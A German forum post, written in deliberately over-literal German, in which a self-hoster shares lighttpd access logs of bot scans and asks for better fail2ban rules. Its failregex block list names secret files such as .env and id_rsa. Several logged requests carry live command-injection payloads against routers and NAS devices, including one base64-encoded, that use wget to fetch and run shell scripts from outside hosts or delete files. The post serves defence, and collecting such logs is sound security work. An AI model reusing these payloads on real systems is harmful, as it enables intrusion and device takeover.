Nein, tatsächlich weniger. Bei mir hats nur fünf Einträge aus der von dir pfostierten Reichweite:
206.168.34.192 meine_ip - [02/Oct/2025:02:27:42 +0200] "GET /.well-known/security.txt HTTP/1.1" 404 341 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
104.218.164.192 meine_ip - [22/Oct/2025:01:42:29 +0200] "GET /robots.txt HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
104.218.164.192 meine_ip - [22/Oct/2025:01:42:29 +0200] "GET /sitemap.xml HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
104.218.164.192 meine_ip - [22/Oct/2025:01:42:29 +0200] "GET /config.json HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
104.218.164.192 meine_ip - [22/Oct/2025:01:44:00 +0200] "GET /update_weights_from_tensor HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36"
Aber Diskussionsfaden über mögliche Fehler2Sperre-Regeln / andere Ansätze, damit diese Schaber einem wenigstens nicht den Baumstamm volldosen oder lustiger Baumstamm-pfostier-Faden?
Meine aktuelle Fehler2Sperre-Regel:
failregex = ^<HOST> .*"(GET|POST|HEAD|PUT|DELETE|OPTIONS|PATCH)[^"]+/(cgi-bin|\.env|\.git|\.svn|\.DS_Store|\.bak|\.backup|\.sql|\.tar|\.gz|\.zip|wp-|xmlrpc|admin|login|dashboard|phpmyadmin|pma|setup|shell|actuator|system|debug|\.idea|\.vscode|vendor|storage|config|test|temp|dev|backup|db|password\.php|geoip|set_safety\.shtml|sysinit\.shtml|_profiler/phpinfo|robots\.txt|sitemap\.xml|\.well-known/security\.txt|admin/assets/js/views/login\.js|\.env\.local|\.htaccess|\.htpasswd|config\.inc\.php|\.user\.ini|error_log|phpunit\.xml|composer\.json|readme\.md|CHANGELOG\.md|docker-compose\.yml|dockerfile|LICENSE|Makefile|Vagrantfile|\.gitignore|id_rsa|id_dsa|authorized_keys|backup\.tar|backup\.zip|\.db|\.sqlite|phpinfo\.php|setup\.php|install\.php|update\.php|vendor\.php|\.ssh|\.bash_history|\.mysql_history|\.cache|wp-config\.php)[^"]*" (404|403|400)
|^<HOST> .*" *" 400
Aber die fängt nicht alles. Mein Zugriff.Baumstamm von leichthttpd:
109.105.210.90 meine_ip - [15/Nov/2025:15:58:16 +0100] "GET /ext-js/app/common/zld_product_spec.js HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
109.105.210.88 meine_ip - [15/Nov/2025:15:58:16 +0100] "GET /solr/ HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
109.105.210.88 meine_ip - [15/Nov/2025:15:58:29 +0100] "GET /static/historypage.js HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
109.105.210.90 meine_ip - [15/Nov/2025:15:58:46 +0100] "GET /internal_forms_authentication HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
204.76.203.30 meine_ip - [15/Nov/2025:16:35:31 +0100] "GET /.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36"
111.22.251.242 127.0.0.1 - [15/Nov/2025:17:01:14 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1" 404 341 "-" "Hello, world"
45.80.158.123 meine_ip - [15/Nov/2025:17:44:55 +0100] "GET /.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
45.80.158.123 meine_ip - [15/Nov/2025:17:44:55 +0100] "POST / HTTP/1.1" 200 1147 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
83.142.209.120 meine_ip - [15/Nov/2025:17:56:07 +0100] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 341 "-" "-"
137.184.115.158 meine_ip - [15/Nov/2025:18:19:21 +0100] "GET /.env HTTP/1.1" 404 341 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);"
137.184.115.158 meine_ip - [15/Nov/2025:18:19:21 +0100] "GET /.git/config HTTP/1.1" 404 341 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);"
103.252.89.75 meine_ip - [15/Nov/2025:18:27:09 +0100] "GET /set_safety.shtml?r=52300 HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
103.252.89.75 meine_ip - [15/Nov/2025:18:27:15 +0100] "GET /sysinit.shtml HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
45.135.193.162 ip-api.com - [15/Nov/2025:19:15:51 +0100] "GET /json/ HTTP/1.1" 404 341 "-" "Go-http-client/1.1"
79.124.40.174 meine_ip - [15/Nov/2025:20:18:29 +0100] "GET /actuator/gateway/routes HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
221.159.119.6 meine_ip - [15/Nov/2025:21:16:39 +0100] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) HTTP/1.1" 404 341 "-" "-"
221.159.119.6 meine_ip - [15/Nov/2025:21:16:39 +0100] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) HTTP/1.1" 404 341 "-" "-"
193.142.147.209 meine_ip - [15/Nov/2025:21:26:49 +0100] "POST /login.cgi/cgi_main.cgi HTTP/1.1" 404 341 "http://meine_ip:80/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:52 +0100] "GET /.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:53 +0100] "GET /api/.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.4 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.4"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:54 +0100] "GET /backend/.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729)"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:54 +0100] "GET /admin/.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T350 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.3 Chrome/38.0.2125.102 Safari/537.36"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:54 +0100] "GET /.env.example HTTP/1.1" 404 341 "-" "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:54 +0100] "GET /app_dev.php/_profiler/phpinfo HTTP/1.1" 404 341 "-" "Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:56 +0100] "GET /back/.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910C Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:56 +0100] "GET /security/.env HTTP/1.1" 404 341 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:56 +0100] "GET /admins/.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:56 +0100] "GET /lib/.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:56 +0100] "GET /shared/.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SPH-M950 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30"
78.153.140.177 meine_ip - [15/Nov/2025:22:03:56 +0100] "GET /production/.env HTTP/1.1" 404 341 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092816 Mobile Safari 1.1.3"
87.121.84.52 meine_ip - [15/Nov/2025:22:39:47 +0100] "GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=d2dldAlodHRwOi8vODcuMTIxLjg0LjUyL25hcy5kbGluay5zaAktTy18c2g= HTTP/1.0" 404 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.52 meine_ip - [15/Nov/2025:22:39:49 +0100] "GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';wget%20http://87.121.84.52/nas.dlink.sh%20-O-%7Csh;' HTTP/1.0" 404 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.52 meine_ip - [15/Nov/2025:22:39:49 +0100] "POST /protocol.csp? HTTP/1.0" 404 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"